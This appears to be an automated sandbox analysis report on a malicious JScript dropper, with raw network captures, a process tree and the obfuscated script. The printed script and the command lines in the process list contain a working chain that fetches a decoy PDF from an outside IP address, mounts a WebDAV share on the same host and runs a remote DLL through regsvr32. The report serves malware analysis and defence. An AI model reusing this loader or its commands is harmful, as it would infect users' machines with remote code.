0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponent [TRUNCATED]
Jan 11, 2025 04:19:26.543816090 CET	1236	IN	Data Raw: 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 20 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 04:19:26.543829918 CET	1236	IN	Data Raw: 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 1e Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 11, 2025 04:19:26.543844938 CET	435	IN	Data Raw: f0 e6 f0 a0 29 a1 fb 7b d7 7b ef db 0c da 34 d0 cb b7 af d3 63 9e 44 bb 1e fa e1 e6 70 bf 59 96 7b 72 d4 0e 87 b6 27 87 ce 3e 66 37 1c ca a6 dc 5d 34 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b 2a 1f 43 a3 1d b9 d7 69 47 6e 7b Data Ascii: ){{4cDpY{r'>f7]4`\|d1;CiGn{ZM63\U$CrCM;oN%$)Ioc6vcCB^{}m_v>=wfS=rw7'i_p,`G>0t#
Jan 11, 2025 04:19:26.543858051 CET	1236	IN	Data Raw: 32 30 30 30 0d 0a fd f9 d9 43 da 94 cb b1 a1 3b 69 ea 9b 13 00 00 c0 34 f8 62 09 00 00 00 00 80 2f c9 46 63 0a 76 4f e5 81 a1 77 f3 03 43 af 52 0c 3d 6b 0e 0c 3d 39 be 3d 4e 3b 72 f7 d2 8e dc c1 58 e8 cb e7 e7 2f ff 38 7f f1 47 f3 9f 7d 0f 6d ce Data Ascii: 2000C;i4b/FcvOwCR=k=9=N;rX/8G}mM{?M')wl7'i_X>Ma\|h7*roM'7'i_xGG}`<F}cM}?~1=
Jan 11, 2025 04:19:26.543868065 CET	224	IN	Data Raw: 6d 0c bd 7c bc 0e 63 e8 23 31 74 2a 53 df 9c 00 00 00 a6 c1 17 4b 00 b0 e3 76 ea df 7f 6b 3e 7e 7d f7 dc 68 1b 5d ef a5 d6 7f cc b5 bc 8e 5b bb aa 25 2e 6f 8d 17 b6 ca 5b 71 c5 67 78 c5 0b ab ff 50 f5 ef b1 a5 5f dc 55 ec e0 ab b9 ae 3f da 54 bf Data Ascii: m\|c#1t*SKvk>~}h][%.o[qgxP_U?TvT#WCCSb]CU}kch:6=CO%t1?6cC21ASKv_pe-%.u-~mVYO?]=
Jan 11, 2025 04:19:26.543881893 CET	1236	IN	Data Raw: d9 e8 95 ec da eb 38 e1 9b a7 fe 02 00 60 13 36 7a 73 c3 ce 28 1d 18 fa a9 3f 30 d4 c5 d0 cb 26 86 9e 9f 35 31 f4 24 8c a1 af 87 31 b4 ef a1 a9 84 a6 1d b9 e5 18 7a da c6 d0 8b 14 43 af 9a 18 7a 7b db 1f 1b da c6 d0 47 13 43 19 0e dd 9e a9 6f 4e Data Ascii: 8`6zs(?0&51$1zCz{GCoN%MUZ$M>la\yU.cZjW]g`Z^]~5W-qIae6d[&>+LW1:7zb7+Cz^m}Pwl(1t9L/`
Jan 11, 2025 04:19:26.543965101 CET	1236	IN	Data Raw: df 91 fb d8 1d 18 2a 31 f4 fa fa e1 ea 32 c5 d0 bb 14 43 8f 8f 6e 8f 0e 06 31 f4 fd db 4b d9 94 9b 86 43 75 0f 6d 67 42 bb b1 50 15 43 af 25 86 1e 06 31 f4 e1 fa ea f1 e6 e6 b1 1c 43 39 36 74 5b a6 be 39 01 00 00 4c 83 2f 96 00 60 5a e1 5d b7 e6 Data Ascii: 12Cn1KCumgBPC%1C96t[9L/`Z]crZia)sehw6K_CU^\|.%2F'Zrr%cAvtN{QF?X<0!t{&
Jan 11, 2025 04:19:26.543982029 CET	1236	IN	Data Raw: ae 9a f9 50 15 36 be d1 f7 d8 42 5d cf 17 3d f3 74 e9 9c 57 53 d0 0a 9f 26 95 9f 29 77 99 43 4e 6b 4a 56 f9 e9 ca 85 e3 f0 a5 ac ff 79 00 79 26 f5 73 58 f3 93 00 26 e4 95 33 68 65 a5 ad 7f f3 9b 57 f3 29 3a 10 36 a7 f2 75 cc 15 c9 ca a8 5d ce a0 Data Ascii: P6B]=tWS&)wCNkJVyy&sX&3heW):6u]y7=#,x`hM=C?1t8<%?04GCzZheSL}s_,{hJ[j\|~p%dP@S<88}zJa4"Dsrz4 msJ'9+)
Jan 11, 2025 04:19:26.543992996 CET	1236	IN	Data Raw: 7f fe 47 eb 99 93 fe fe f3 56 6a a3 92 44 53 97 31 23 a2 fe f8 4e 5d 45 cd 3c a0 3c 5d 61 70 2c 54 aa 9a 49 55 9f 65 fd 98 6a 39 4e 99 ab 2a b7 33 7d 49 fa 99 a9 ac b4 3a 89 e6 42 6d b8 f7 d8 3f 63 72 79 9a 4c 3b 86 4f 57 b9 87 96 d7 ab 16 c6 09 Data Ascii: GVjDS1#N]E<<]ap,TIUej9N*3}I:Bm?cryL;OWG{n9c<W5.3}edy7Wzh8x3h_A#:7{AknkSccbCzchCv1tCOO177O1M5`\|o>%
Jan 11, 2025 04:19:26.544008017 CET	896	IN	Data Raw: cf 84 ca 27 82 ff 91 80 70 26 5a 27 51 fd ec 85 2f 6b ee 9d 56 7e b3 85 5b ac c3 57 d3 bf f9 d3 8c b6 94 77 33 af 3a ba 1e 36 f7 83 16 85 12 6a 72 76 aa d8 1f 14 3d 9b 59 7f 60 6e cd ba 63 fd 33 27 b9 73 72 cd cd d6 bc 97 72 e3 cf 7e 59 2e 31 14 Data Ascii: 'p&Z'Q/kV~[Ww3:6jrv=Y`nc3'srr~Y.1K904CT{hD?ymcCdSL}s_,j\;py)cRt&($ T44o[{/Dh}4+!F)IT2hM=F{

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49706	193.143.1.205	8888	6188	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 04:19:28.121016026 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 04:19:28.926337957 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 03:19:28 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	22:19:21
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\622118739225021737.js"
Imagebase:	0x7ff604390000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	22:19:22
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\9322722429533.dll
Imagebase:	0x7ff6c6160000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	22:19:22
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	22:19:22
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	22:19:27
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff686a00000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	22:19:27
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6c6160000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	22:19:27
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6d7570000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	22:19:27
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	22:19:27
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	22:19:28
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2096 --field-trial-handle=1600,i,13731528127773946648,642052187125554503,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function tygvd() {	tygvd() ➔ undefined
1	nwlhd = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var yxdwin = this[blkal + vguozdr + fvhpu + yebirymni + nijllvnl + fettydhn + zderruwyk + brjbwkay] ( this[ghnrnnxu + kqdigbkhp + ectunpww + fvhpu + pgwtgrobd + blkal + brjbwkay][rapxhoixx + fvhpu + nijllvnl + vguozdr + brjbwkay + nijllvnl + zqffqr + ljtyij + mygujfufs + nijllvnl + ectunpww + brjbwkay] ( ghnrnnxu + kqdigbkhp + ectunpww + fvhpu + pgwtgrobd + blkal + brjbwkay + cyolfffqf + kqdigbkhp + vylevropu + nijllvnl + dugdqw + dugdqw ) [kocwuoj + nijllvnl + mowmqucyl + kocwuoj + nijllvnl + vguozdr + kvkhnc] ( ofoii + cahgnnr + ntcpffr + rejuvk + cajqq + rapxhoixx + pybah + kocwuoj + kocwuoj + ntcpffr + dpxnwqv + ighpjtcgk + cajqq + pybah + kqdigbkhp + ntcpffr + kocwuoj + pshxetuzi + rapxhoixx + gsyqwhphp + zderruwyk + brjbwkay + fvhpu + gsyqwhphp + dugdqw + ywwnbbwdk + yplsyj + vguozdr + zderruwyk + nijllvnl + dugdqw + pshxetuzi + fettydhn + zderruwyk + brjbwkay + nijllvnl + fvhpu + zderruwyk + vguozdr + brjbwkay + pgwtgrobd + gsyqwhphp + zderruwyk + vguozdr + dugdqw + pshxetuzi + skhviooy + gsyqwhphp + ectunpww + vguozdr + dugdqw + nijllvnl ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( xqjtla = 0 ; xqjtla < nwlhd[dugdqw + nijllvnl + zderruwyk + mowmqucyl + brjbwkay + vylevropu] ; ++ xqjtla )
4	{
5	if ( yxdwin == nwlhd[xqjtla] )
6	{
7	yxdwin = true;
8	break ;
9	}
10	}
11	if ( yxdwin !== true )
12	this[ghnrnnxu + kqdigbkhp + ectunpww + fvhpu + pgwtgrobd + blkal + brjbwkay][hrzeg + gqwsawzlt + pgwtgrobd + brjbwkay] ( );
13	this[ghnrnnxu + kqdigbkhp + ectunpww + fvhpu + pgwtgrobd + blkal + brjbwkay][rapxhoixx + fvhpu + nijllvnl + vguozdr + brjbwkay + nijllvnl + zqffqr + ljtyij + mygujfufs + nijllvnl + ectunpww + brjbwkay] ( ghnrnnxu + kqdigbkhp + ectunpww + fvhpu + pgwtgrobd + blkal + brjbwkay + cyolfffqf + kqdigbkhp + vylevropu + nijllvnl + dugdqw + dugdqw ) [fvhpu + gqwsawzlt + zderruwyk] ( ectunpww + efnzcxuo + kvkhnc + ywwnbbwdk + adawrie + ectunpww + ywwnbbwdk + blkal + gsyqwhphp + wwgcftwm + nijllvnl + fvhpu + yebirymni + vylevropu + nijllvnl + dugdqw + dugdqw + cyolfffqf + nijllvnl + ioisco + nijllvnl + ywwnbbwdk + ajyfs + rapxhoixx + gsyqwhphp + efnzcxuo + efnzcxuo + vguozdr + zderruwyk + kvkhnc + ywwnbbwdk + kpjjxodcy + fettydhn + zderruwyk + veqxh + gsyqwhphp + ifyqpwksq + nijllvnl + ajyfs + ghnrnnxu + nijllvnl + ljtyij + kocwuoj + nijllvnl + khipraou + gqwsawzlt + nijllvnl + yebirymni + brjbwkay + ywwnbbwdk + ajyfs + zqffqr + gqwsawzlt + brjbwkay + xqtvufwi + pgwtgrobd + dugdqw + nijllvnl + ywwnbbwdk + xmvnlm + brjbwkay + nijllvnl + efnzcxuo + blkal + xmvnlm + pshxetuzi + pgwtgrobd + zderruwyk + veqxh + gsyqwhphp + pgwtgrobd + ectunpww + nijllvnl + cyolfffqf + blkal + kvkhnc + gblxcchj + ywwnbbwdk + vylevropu + brjbwkay + brjbwkay + blkal + puozixmj + adawrie + adawrie + pxzdvzxx + wnrloiie + ezqnjuycu + cyolfffqf + pxzdvzxx + xcizjaxrf + ezqnjuycu + cyolfffqf + pxzdvzxx + cyolfffqf + bsavhzr + hmyge + oizirr + adawrie + pgwtgrobd + zderruwyk + veqxh + gsyqwhphp + pgwtgrobd + ectunpww + nijllvnl + cyolfffqf + blkal + vylevropu + blkal + kpjjxodcy + pnhohalr + pnhohalr + yebirymni + brjbwkay + vguozdr + fvhpu + brjbwkay + ywwnbbwdk + xmvnlm + brjbwkay + nijllvnl + efnzcxuo + blkal + xmvnlm + pshxetuzi + pgwtgrobd + zderruwyk + veqxh + gsyqwhphp + pgwtgrobd + ectunpww + nijllvnl + cyolfffqf + blkal + kvkhnc + gblxcchj + pnhohalr + pnhohalr + ectunpww + efnzcxuo + kvkhnc + ywwnbbwdk + adawrie + ectunpww + ywwnbbwdk + zderruwyk + nijllvnl + brjbwkay + ywwnbbwdk + gqwsawzlt + yebirymni + nijllvnl + ywwnbbwdk + pshxetuzi + pshxetuzi + pxzdvzxx + wnrloiie + ezqnjuycu + cyolfffqf + pxzdvzxx + xcizjaxrf + ezqnjuycu + cyolfffqf + pxzdvzxx + cyolfffqf + bsavhzr + hmyge + oizirr + ivabaxv + rzvgabc + rzvgabc + rzvgabc + rzvgabc + pshxetuzi + kvkhnc + vguozdr + veqxh + wwgcftwm + wwgcftwm + wwgcftwm + fvhpu + gsyqwhphp + gsyqwhphp + brjbwkay + pshxetuzi + pnhohalr + pnhohalr + ectunpww + efnzcxuo + kvkhnc + ywwnbbwdk + adawrie + ectunpww + ywwnbbwdk + fvhpu + nijllvnl + mowmqucyl + yebirymni + veqxh + fvhpu + ezqnjuycu + bsavhzr + ywwnbbwdk + adawrie + yebirymni + ywwnbbwdk + pshxetuzi + pshxetuzi + pxzdvzxx + wnrloiie + ezqnjuycu + cyolfffqf + pxzdvzxx + xcizjaxrf + ezqnjuycu + cyolfffqf + pxzdvzxx + cyolfffqf + bsavhzr + hmyge + oizirr + ivabaxv + rzvgabc + rzvgabc + rzvgabc + rzvgabc + pshxetuzi + kvkhnc + vguozdr + veqxh + wwgcftwm + wwgcftwm + wwgcftwm + fvhpu + gsyqwhphp + gsyqwhphp + brjbwkay + pshxetuzi + wnrloiie + ezqnjuycu + bsavhzr + bsavhzr + gdkzjovp + bsavhzr + bsavhzr + xcizjaxrf + bsavhzr + wnrloiie + oizirr + ezqnjuycu + ezqnjuycu + cyolfffqf + kvkhnc + dugdqw + dugdqw, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\9322722429533.dll",0,false) ➔ 0
14	}
15	ivabaxv = "B";
16	ivabaxv = "Q";
17	ivabaxv = "e";
18	ivabaxv = "g";
19	ivabaxv = "X";
20	ivabaxv = "y";
21	ivabaxv = "Z";
22	ivabaxv = "g";
23	ivabaxv = "X";
24	ivabaxv = "s";
25	ivabaxv = "i";
26	ivabaxv = "T";
27	ivabaxv = "X";
28	ivabaxv = "I";
29	ivabaxv = "t";
30	ivabaxv = "u";
31	ivabaxv = "B";
32	ivabaxv = "D";
33	ivabaxv = "G";
34	ivabaxv = "K";
35	ivabaxv = "@";
36	ioisco = "I";
37	ioisco = "b";
38	ioisco = "Q";
39	ioisco = "I";
40	ioisco = "g";
41	ioisco = "b";
42	ioisco = "S";
43	ioisco = "f";
44	ioisco = "h";
45	ioisco = "x";
46	yplsyj = "a";
47	yplsyj = "e";
48	yplsyj = "g";
49	yplsyj = "w";
50	yplsyj = "H";
51	yplsyj = "l";
52	yplsyj = "Z";
53	yplsyj = "v";
54	yplsyj = "d";
55	yplsyj = "A";
56	yplsyj = "g";
57	yplsyj = "Z";
58	yplsyj = "r";
59	yplsyj = "r";
60	yplsyj = "b";
61	yplsyj = "F";
62	yplsyj = "X";
63	yplsyj = "P";
64	gqwsawzlt = "I";
65	gqwsawzlt = "T";
66	gqwsawzlt = "N";
67	gqwsawzlt = "Y";
68	gqwsawzlt = "f";
69	gqwsawzlt = "q";
70	gqwsawzlt = "c";
71	gqwsawzlt = "E";
72	gqwsawzlt = "B";
73	gqwsawzlt = "y";
74	gqwsawzlt = "J";
75	gqwsawzlt = "H";
76	gqwsawzlt = "G";
77	gqwsawzlt = "A";
78	gqwsawzlt = "W";
79	gqwsawzlt = "d";
80	gqwsawzlt = "F";
81	gqwsawzlt = "h";
82	gqwsawzlt = "z";
83	gqwsawzlt = "u";
84	yebirymni = "Q";
85	yebirymni = "x";
86	yebirymni = "e";
87	yebirymni = "o";
88	yebirymni = "Y";
89	yebirymni = "w";
90	yebirymni = "s";
91	brjbwkay = "u";
92	brjbwkay = "k";
93	brjbwkay = "B";
94	brjbwkay = "T";
95	brjbwkay = "t";
96	brjbwkay = "y";
97	brjbwkay = "P";
98	brjbwkay = "G";
99	brjbwkay = "V";
100	brjbwkay = "r";
101	brjbwkay = "M";
102	brjbwkay = "V";
103	brjbwkay = "F";
104	brjbwkay = "N";
105	brjbwkay = "d";
106	brjbwkay = "T";
107	brjbwkay = "v";
108	brjbwkay = "i";
109	brjbwkay = "n";
110	brjbwkay = "Q";
111	brjbwkay = "X";
112	brjbwkay = "h";
113	brjbwkay = "t";
114	dugdqw = "U";
115	dugdqw = "v";
116	dugdqw = "g";
117	dugdqw = "z";
118	dugdqw = "l";
119	dugdqw = "B";
120	dugdqw = "T";
121	dugdqw = "z";
122	dugdqw = "r";
123	dugdqw = "v";
124	dugdqw = "D";
125	dugdqw = "d";
126	dugdqw = "d";
127	dugdqw = "w";
128	dugdqw = "A";
129	dugdqw = "a";
130	dugdqw = "P";
131	dugdqw = "F";
132	dugdqw = "l";
133	zderruwyk = "x";
134	zderruwyk = "G";
135	zderruwyk = "q";
136	zderruwyk = "Y";
137	zderruwyk = "W";
138	zderruwyk = "S";
139	zderruwyk = "N";
140	zderruwyk = "j";
141	zderruwyk = "q";
142	zderruwyk = "G";
143	zderruwyk = "U";
144	zderruwyk = "I";
145	zderruwyk = "g";
146	zderruwyk = "d";
147	zderruwyk = "E";
148	zderruwyk = "Z";
149	zderruwyk = "q";
150	zderruwyk = "C";
151	zderruwyk = "Z";
152	zderruwyk = "R";
153	zderruwyk = "Z";
154	zderruwyk = "n";
155	bsavhzr = "Q";
156	bsavhzr = "J";
157	bsavhzr = "2";
158	rapxhoixx = "b";
159	rapxhoixx = "q";
160	rapxhoixx = "y";
161	rapxhoixx = "Q";
162	rapxhoixx = "H";
163	rapxhoixx = "S";
164	rapxhoixx = "I";
165	rapxhoixx = "G";
166	rapxhoixx = "a";
167	rapxhoixx = "g";
168	rapxhoixx = "a";
169	rapxhoixx = "d";
170	rapxhoixx = "u";
171	rapxhoixx = "L";
172	rapxhoixx = "f";
173	rapxhoixx = "V";
174	rapxhoixx = "q";
175	rapxhoixx = "L";
176	rapxhoixx = "X";
177	rapxhoixx = "Z";
178	rapxhoixx = "L";
179	rapxhoixx = "W";
180	rapxhoixx = "j";
181	rapxhoixx = "R";
182	rapxhoixx = "v";
183	rapxhoixx = "m";
184	rapxhoixx = "J";
185	rapxhoixx = "c";
186	rapxhoixx = "t";
187	rapxhoixx = "Y";
188	rapxhoixx = "N";
189	rapxhoixx = "q";
190	rapxhoixx = "K";
191	rapxhoixx = "f";
192	rapxhoixx = "m";
193	rapxhoixx = "C";
194	rzvgabc = "m";
195	rzvgabc = "u";
196	rzvgabc = "O";
197	rzvgabc = "M";
198	rzvgabc = "T";
199	rzvgabc = "r";
200	rzvgabc = "G";
201	rzvgabc = "f";
202	rzvgabc = "C";
203	rzvgabc = "e";
204	rzvgabc = "x";
205	rzvgabc = "s";
206	rzvgabc = "b";
207	rzvgabc = "a";
208	rzvgabc = "E";
209	rzvgabc = "c";
210	rzvgabc = "F";
211	rzvgabc = "L";
212	rzvgabc = "8";
213	ofoii = "U";
214	ofoii = "E";
215	ofoii = "T";
216	ofoii = "l";
217	ofoii = "g";
218	ofoii = "a";
219	ofoii = "n";
220	ofoii = "S";
221	ofoii = "I";
222	ofoii = "q";
223	ofoii = "n";
224	ofoii = "t";
225	ofoii = "O";
226	ofoii = "P";
227	ofoii = "X";
228	ofoii = "S";
229	ofoii = "x";
230	ofoii = "b";
231	ofoii = "H";
232	skhviooy = "n";
233	skhviooy = "h";
234	skhviooy = "K";
235	skhviooy = "O";
236	skhviooy = "H";
237	skhviooy = "K";
238	skhviooy = "l";
239	skhviooy = "y";
240	skhviooy = "F";
241	skhviooy = "w";
242	skhviooy = "s";
243	skhviooy = "y";
244	skhviooy = "N";
245	skhviooy = "D";
246	skhviooy = "M";
247	skhviooy = "J";
248	skhviooy = "S";
249	skhviooy = "A";
250	skhviooy = "S";
251	skhviooy = "J";
252	skhviooy = "x";
253	skhviooy = "p";
254	skhviooy = "k";
255	skhviooy = "p";
256	skhviooy = "z";
257	skhviooy = "S";
258	skhviooy = "x";
259	skhviooy = "s";
260	skhviooy = "w";
261	skhviooy = "u";
262	skhviooy = "d";
263	skhviooy = "D";
264	skhviooy = "A";
265	skhviooy = "e";
266	skhviooy = "Q";
267	skhviooy = "N";
268	skhviooy = "V";
269	skhviooy = "b";
270	skhviooy = "L";
271	kpjjxodcy = "W";
272	kpjjxodcy = "Z";
273	kpjjxodcy = "r";
274	kpjjxodcy = "O";
275	kpjjxodcy = "\"";
276	wnrloiie = "s";
277	wnrloiie = "j";
278	wnrloiie = "b";
279	wnrloiie = "B";
280	wnrloiie = "i";
281	wnrloiie = "T";
282	wnrloiie = "i";
283	wnrloiie = "z";
284	wnrloiie = "m";
285	wnrloiie = "f";
286	wnrloiie = "T";
287	wnrloiie = "l";
288	wnrloiie = "y";
289	wnrloiie = "g";
290	wnrloiie = "T";
291	wnrloiie = "z";
292	wnrloiie = "E";
293	wnrloiie = "u";
294	wnrloiie = "p";
295	wnrloiie = "l";
296	wnrloiie = "T";
297	wnrloiie = "c";
298	wnrloiie = "o";
299	wnrloiie = "a";
300	wnrloiie = "X";
301	wnrloiie = "b";
302	wnrloiie = "z";
303	wnrloiie = "p";
304	wnrloiie = "R";
305	wnrloiie = "y";
306	wnrloiie = "R";
307	wnrloiie = "i";
308	wnrloiie = "o";
309	wnrloiie = "f";
310	wnrloiie = "O";
311	wnrloiie = "E";
312	wnrloiie = "O";
313	wnrloiie = "T";
314	wnrloiie = "w";
315	wnrloiie = "H";
316	wnrloiie = "O";
317	wnrloiie = "9";
318	ezqnjuycu = "w";
319	ezqnjuycu = "H";
320	ezqnjuycu = "f";
321	ezqnjuycu = "G";
322	ezqnjuycu = "T";
323	ezqnjuycu = "A";
324	ezqnjuycu = "h";
325	ezqnjuycu = "J";
326	ezqnjuycu = "o";
327	ezqnjuycu = "O";
328	ezqnjuycu = "D";
329	ezqnjuycu = "3";
330	khipraou = "M";
331	khipraou = "T";
332	khipraou = "C";
333	khipraou = "g";
334	khipraou = "c";
335	khipraou = "y";
336	khipraou = "F";
337	khipraou = "a";
338	khipraou = "d";
339	khipraou = "R";
340	khipraou = "t";
341	khipraou = "X";
342	khipraou = "s";
343	khipraou = "o";
344	khipraou = "k";
345	khipraou = "w";
346	khipraou = "g";
347	khipraou = "i";
348	khipraou = "Q";
349	khipraou = "G";
350	khipraou = "J";
351	khipraou = "M";
352	khipraou = "K";
353	khipraou = "a";
354	khipraou = "r";
355	khipraou = "A";
356	khipraou = "d";
357	khipraou = "T";
358	khipraou = "E";
359	khipraou = "I";
360	khipraou = "J";
361	khipraou = "Z";
362	khipraou = "v";
363	khipraou = "j";
364	khipraou = "n";
365	khipraou = "e";
366	khipraou = "O";
367	khipraou = "H";
368	khipraou = "u";
369	khipraou = "P";
370	khipraou = "p";
371	khipraou = "q";
372	blkal = "o";
373	blkal = "X";
374	blkal = "N";
375	blkal = "d";
376	blkal = "f";
377	blkal = "C";
378	blkal = "P";
379	blkal = "H";
380	blkal = "K";
